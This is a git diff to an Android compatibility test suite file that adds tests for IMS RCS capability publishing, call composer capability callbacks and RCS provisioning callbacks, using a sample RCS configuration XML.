diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 8005d0d..2a7595d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -46,11 +46,13 @@
 import android.telephony.ims.ImsRcsManager;
 import android.telephony.ims.ImsReasonInfo;
 import android.telephony.ims.ProvisioningManager;
+import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.RcsUceAdapter;
 import android.telephony.ims.RegistrationManager;
 import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.feature.MmTelFeature;
 import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
 import android.telephony.ims.stub.ImsConfigImplBase;
 import android.telephony.ims.stub.ImsFeatureConfiguration;
 import android.telephony.ims.stub.ImsRegistrationImplBase;
@@ -71,6 +73,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -103,13 +106,31 @@
     private static final int TEST_CONFIG_KEY = 1000;
     private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
     private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
-    private static final String TEST_AUTOCONFIG_CONTENT = "<?xml version=\"1.0\"?>\n"
-            + "<wap-provisioningdoc version=\"1.1\">\n"
-            + "<characteristic type=\"VERS\">\n"
-            + "<parm name=\"version\" value=\"1\"/>\n"
-            + "<parm name=\"validity\" value=\"1728000\"/>\n"
-            + "</characteristic>"
-            + "</wap-provisioningdoc>";
+
+    private static final String TEST_RCS_CONFIG = "<RCSConfig>\n"
+            + "\t<rcsVolteSingleRegistration>1</rcsVolteSingleRegistration>\n"
+            + "\t<SERVICES>\n"
+            + "\t\t<SupportedRCSProfileVersions>UP_2.0</SupportedRCSProfileVersions>\n"
+            + "\t\t<ChatAuth>1</ChatAuth>\n"
+            + "\t\t<GroupChatAuth>1</GroupChatAuth>\n"
+            + "\t\t<ftAuth>1</ftAuth>\n"
+            + "\t\t<standaloneMsgAuth>1</standaloneMsgAuth>\n"
+            + "\t\t<geolocPushAuth>1<geolocPushAuth>\n"
+            + "\t\t<Ext>\n"
+            + "\t\t\t<DataOff>\n"
+            + "\t\t\t\t<rcsMessagingDataOff>1</rcsMessagingDataOff>\n"
+            + "\t\t\t\t<fileTransferDataOff>1</fileTransferDataOff>\n"
+            + "\t\t\t\t<mmsDataOff>1</mmsDataOff>\n"
+            + "\t\t\t\t<syncDataOff>1</syncDataOff>\n"
+            + "\t\t\t</DataOff>\n"
+            + "\t\t</Ext>\n"
+            + "\t</SERVICES>\n"
+            + "</RCSConfig>";
+    private static final int RCS_CONFIG_CB_UNKNOWN = Integer.MAX_VALUE;
+    private static final int RCS_CONFIG_CB_CHANGED = 0;
+    private static final int RCS_CONFIG_CB_ERROR   = 1;
+    private static final int RCS_CONFIG_CB_RESET   = 2;
+    private static final int RCS_CONFIG_CB_DELETE  = 3;
 
     private static CarrierConfigReceiver sReceiver;
 
@@ -140,6 +161,12 @@
         }
     }
 
+    private static class RcsProvisioningCallbackParams {
+        byte[] mConfig;
+        Integer mErrorCode;
+        String mErrorString;
+    }
+
     @BeforeClass
     public static void beforeAllTests() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -211,6 +238,8 @@
             fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
                     + "during this test.");
         }
+
+        TestAcsClient.getInstance().reset();
     }
 
     @After
@@ -831,6 +860,164 @@
         }
     }
 
+    @Test
+    public void testRcsDeviceCapabilitiesPublish() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to device ImsService with MmTel feature and RCS feature
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        publishStateQueue.offer(state);
+                    }
+                };
+
+        // Another publish register callback to verify the API
+        // RcsUceAdapter#removeOnPublishStateChangedListener
+        LinkedBlockingQueue<Integer> unregisteredPublishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener unregisteredPublishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        unregisteredPublishStateQueue.offer(state);
+                    }
+                };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            // register two publish state callback
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    publishStateCallback);
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(unregisteredPublishStateQueue));
+        publishStateQueue.clear();
+        unregisteredPublishStateQueue.clear();
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason);
+        });
+
+        // Unregister the publish state callback
+        try {
+            automan.adoptShellPermissionIdentity();
+            uceAdapter.removeOnPublishStateChangedListener(unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // IMS registers
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+        // Framework should trigger the device capabilities publish when IMS is registered.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // The unregistered callback should not be called.
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("Unregistered publish callback should not be called");
+        }
+
+        // Verify the value of getting from the API is PUBLISH_STATE_OK
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        // ImsService triggers the unpublish notification
+        eventListener.onUnpublish();
+
+        // Verify the publish state callback will be called with the state "NOT_PUBLISHED"
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // The unregistered callback should not be called.
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("Unregistered publish callback should not be called when unpublish");
+        }
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Trigger RcsFeature is unavailable
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
+
+        // Verify the RcsCapabilityExchangeImplBase will be removed.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_LISTENER_SET));
+
+        overrideCarrierConfig(null);
+    }
+
     @Ignore("RCS APIs not public yet")
     @Test
     public void testRcsManagerRegistrationCallback() throws Exception {
@@ -1186,6 +1373,96 @@
         }
     }
 
+    @Test
+    public void testCallComposerCapabilityStatusCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
+        MmTelFeature.MmTelCapabilities fwCaps = sServiceConnector.getCarrierService()
+                .getMmTelFeature().getCapabilities();
+        // Make sure we start off with every capability unavailable
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
+
+        // Make sure the capabilities match the API getter for capabilities
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            // Make sure we are tracking voice capability over LTE properly.
+            assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
+                    mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        LinkedBlockingQueue<MmTelFeature.MmTelCapabilities> mQueue = new LinkedBlockingQueue<>();
+        ImsMmTelManager.CapabilityCallback callback = new ImsMmTelManager.CapabilityCallback() {
+
+            @Override
+            public void onCapabilitiesStatusChanged(MmTelFeature.MmTelCapabilities capabilities) {
+                mQueue.offer(capabilities);
+            }
+        };
+
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        try {
+            mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+            fail("registerMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // We should not have voice availability here, we notified the framework earlier.
+        MmTelFeature.MmTelCapabilities capCb = waitForResult(mQueue);
+        assertFalse(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+
+        // Now enable call composer availability
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities(
+                MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+        capCb = waitForResult(mQueue);
+        assertNotNull(capCb);
+        assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+
+            mmTelManager.unregisterMmTelCapabilityCallback(callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        try {
+            mmTelManager.unregisterMmTelCapabilityCallback(callback);
+            fail("unregisterMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+    }
+
     /**
      * We are specifically testing a race case here such that IsAvailable returns the correct
      * capability status during the callback.
@@ -1285,42 +1562,6 @@
         }
     }
 
-    @Test
-    public void testProvisioningManagerNotifyAutoConfig() throws Exception {
-        if (!ImsUtils.shouldTestImsService()) {
-            return;
-        }
-
-        // Trigger carrier config changed
-        PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
-        overrideCarrierConfig(bundle);
-
-        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
-
-        ProvisioningManager provisioningManager =
-                ProvisioningManager.createForSubscriptionId(sTestSub);
-
-        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            automan.adoptShellPermissionIdentity();
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_AUTOCONFIG_CONTENT.getBytes(), false);
-            ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
-            Assert.assertNotNull(config);
-            assertEquals(TEST_AUTOCONFIG_CONTENT,
-                    config.getConfigString(ImsUtils.ITEM_NON_COMPRESSED));
-
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_AUTOCONFIG_CONTENT.getBytes(), true);
-            assertEquals(TEST_AUTOCONFIG_CONTENT,
-                    config.getConfigString(ImsUtils.ITEM_COMPRESSED));
-        } finally {
-            automan.dropShellPermissionIdentity();
-        }
-    }
-
     @Ignore("RCS APIs not public yet")
     @Test
     public void testRcsCapabilityStatusCallback() throws Exception {
@@ -1366,7 +1607,11 @@
         // Trigger carrier config changed
         PersistableBundle bundle = new PersistableBundle();
         bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
+
         overrideCarrierConfig(bundle);
 
         // The carrier config changed should trigger RcsFeature#changeEnabledCapabilities
@@ -1725,7 +1970,10 @@
         triggerFrameworkConnectToCarrierImsService();
 
         PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
         bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL, true);
         overrideCarrierConfig(bundle);
 
@@ -1755,6 +2003,256 @@
         overrideCarrierConfig(null);
     }
 
+    @Test
+    public void testProvisioningManagerRcsProvisioningChangedCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final int errorCode = 403;
+        final String errorString = "Forbidden";
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+                new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(actionQueue, paramsQueue);
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningChangedCallback(
+                    getContext().getMainExecutor(), cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        actionQueue.clear();
+        paramsQueue.clear();
+
+        //callback when rcs configuration received, uncompressed
+        config.getIImsConfig().notifyRcsAutoConfigurationReceived(
+                TEST_RCS_CONFIG.getBytes(), false);
+
+        int res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        //verify when rcs configuration received, conpressed
+        config.getIImsConfig().notifyRcsAutoConfigurationReceived(
+                ImsUtils.compressGzip(TEST_RCS_CONFIG.getBytes()), true);
+
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        //callback when rcs configuration removed
+        config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        //callback when auto config error received
+        config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_ERROR);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(params.mErrorCode != null && params.mErrorCode == errorCode);
+        assertTrue(errorString.equals(params.mErrorString));
+
+        //callback when config removed
+        config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        //unregister callback and verify not to receive callback any more
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterRcsProvisioningChangedCallback(cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_DELETE);
+
+        config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+        res = waitForIntResult(actionQueue, 500);
+        assertEquals(res, Integer.MAX_VALUE);
+    }
+
+    @Test
+    public void testProvisioningManagerNotifyRcsAutoConfigurationReceived() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+                new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(clientQueue, paramsQueue);
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        LinkedBlockingQueue<Integer> acsQueue = new LinkedBlockingQueue<>();
+        TestAcsClient.getInstance().setActionQueue(acsQueue);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningChangedCallback(
+                    getContext().getMainExecutor(), cb);
+            clientQueue.clear();
+            paramsQueue.clear();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    TEST_RCS_CONFIG.getBytes(), false);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        res = waitForIntResult(acsQueue);
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+        assertTrue(Arrays.equals(
+                TEST_RCS_CONFIG.getBytes(), TestAcsClient.getInstance().getConfig()));
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    ImsUtils.compressGzip(TEST_RCS_CONFIG.getBytes()), true);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        res = waitForIntResult(acsQueue);
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+        assertTrue(Arrays.equals(
+                TEST_RCS_CONFIG.getBytes(), TestAcsClient.getInstance().getConfig()));
+    }
+
+    @Test
+    public void testProvisioningManagerTriggerRcsReconfiguration() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(clientQueue, null);
+        LinkedBlockingQueue<Integer> acsQueue = new LinkedBlockingQueue<>();
+        TestAcsClient.getInstance().setActionQueue(acsQueue);
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningChangedCallback(
+                    getContext().getMainExecutor(), cb);
+
+            clientQueue.clear();
+            provisioningManager.triggerRcsReconfiguration();
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        res = waitForIntResult(acsQueue);
+        assertEquals(res, TestAcsClient.ACTION_TRIGGER_AUTO_CONFIG);
+    }
+
+    @Test
+    public void testProvisioningManagerSetRcsClientConfiguration() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        RcsClientConfiguration rcc = new RcsClientConfiguration(
+                "1.0", "UP_1.0", "Android", "RCSAndrd-1.0");
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
+        TestAcsClient.getInstance().setActionQueue(actionQueue);
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.setRcsClientConfiguration(rcc);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(actionQueue);
+        assertEquals(res, TestAcsClient.ACTION_SET_RCS_CLIENT_CONFIG);
+        assertEquals(rcc, TestAcsClient.getInstance().getRcc());
+    }
+
+    @Test
+    public void testProvisioningManagerRcsVolteSingleRegistrationCapable() throws Exception {
+        boolean isSingleRegistrationEnabledOnDevice =
+                sServiceConnector.getDeviceSingleRegistrationEnabled();
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertFalse(provisioningManager.isRcsVolteSingleRegistrationCapable());
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(bundle);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    isSingleRegistrationEnabledOnDevice);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        sServiceConnector.setDeviceSingleRegistrationEnabled(!isSingleRegistrationEnabledOnDevice);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    !isSingleRegistrationEnabledOnDevice);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
     private void verifyIntKey(ProvisioningManager pm,
             LinkedBlockingQueue<Pair<Integer, Integer>> intQueue, int key, int value)
             throws Exception {
@@ -1822,6 +2320,44 @@
                 sTestSlot, serviceSlot);
     }
 
+    private void triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature() throws Exception {
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
+        assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+        int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
+                sTestSlot, serviceSlot);
+
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+        assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+        // Make sure the RcsFeature was created in the test service.
+        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+                sServiceConnector.getCarrierService().waitForLatchCountdown(
+                        TestImsService.LATCH_UCE_LISTENER_SET));
+        serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+                sTestSlot, serviceSlot);
+    }
+
     private void triggerFrameworkConnectToCarrierImsService() throws Exception {
         // Connect to the ImsService with the MmTel feature.
         assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
@@ -1841,6 +2377,42 @@
                 sTestSlot, serviceSlot);
     }
 
+    private ProvisioningManager.RcsProvisioningCallback buildRcsProvisioningCallback(
+            LinkedBlockingQueue<Integer> actionQueue,
+            LinkedBlockingQueue<RcsProvisioningCallbackParams> paramQueue) {
+        return new ProvisioningManager.RcsProvisioningCallback() {
+            @Override
+            public void onConfigurationChanged(byte[] configXml) {
+                actionQueue.offer(RCS_CONFIG_CB_CHANGED);
+                if (paramQueue != null) {
+                    RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+                    params.mConfig = configXml;
+                    paramQueue.offer(params);
+                }
+            }
+
+            @Override
+            public void onAutoConfigurationErrorReceived(int code, String str) {
+                actionQueue.offer(RCS_CONFIG_CB_ERROR);
+                if (paramQueue != null) {
+                    RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+                    params.mErrorCode = code;
+                    params.mErrorString = str;
+                    paramQueue.offer(params);
+                }
+            }
+
+            @Override
+            public void onConfigurationReset() {
+                actionQueue.offer(RCS_CONFIG_CB_RESET);
+            }
+
+            @Override
+            public void onRemoved() {
+                actionQueue.offer(RCS_CONFIG_CB_DELETE);
+            }
+        };
+    }
